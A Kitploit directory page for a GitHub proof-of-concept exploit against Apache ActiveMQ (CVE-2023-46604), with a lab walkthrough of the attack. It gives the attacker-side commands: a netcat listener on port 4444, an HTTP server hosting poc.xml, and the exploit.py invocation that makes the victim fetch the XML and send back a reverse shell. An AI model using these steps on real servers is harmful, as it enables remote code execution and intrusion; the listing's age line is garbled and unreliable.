Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-46604 — PoC exploit for CVE-2023-46604 targeting Apache ActiveMQ, delivering a reverse shell via crafted XML payload over HTTP. | Kitploit
Tools/GitHubGitHub/cuanh2333/cve-2023-46604
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubcuanh2333/cve-2023-46604

CVE-2023-46604

PoC exploit for CVE-2023-46604 targeting Apache ActiveMQ, delivering a reverse shell via crafted XML payload over HTTP.

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-46604

image

Set up docker-compose containing 2 images: the victim machine and the target machine according to the required environment. On the victim machine, start ActiveMQ

Switch to the attacker machine: • Open an HTTP service to send the PoC: python3 -m http.server

• Use netcat to listen for connections to the attacker machine nc -nlvp 4444

• Send a payload to create a reverse shell connection to the attacker machine python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml Where:

  • Exploit.py: the exploit code file
  • -I 172.18.0.3: IP address of the machine sending the payload
  • -p 61616: Port on which the victim's ActiveMQ is listening
  • --xml http://172.18.0.2:8000/poc.xml: URL path of the poc.xml file on the attacker machine

It can be seen that after executing the 'exploit.py' file, the exploit code sends a 'poc.xml' packet from the web server to the target, which is the address of the ActiveMQ service running on the target server. At the same time, the HTTP web server on the attacker machine also receives a request sent from the IP address of the target machine.

After sending the payload, switch to the terminal listening on port 4444 of the attacker machine. We see that the victim machine's reverse shell has been sent back.

Download Tool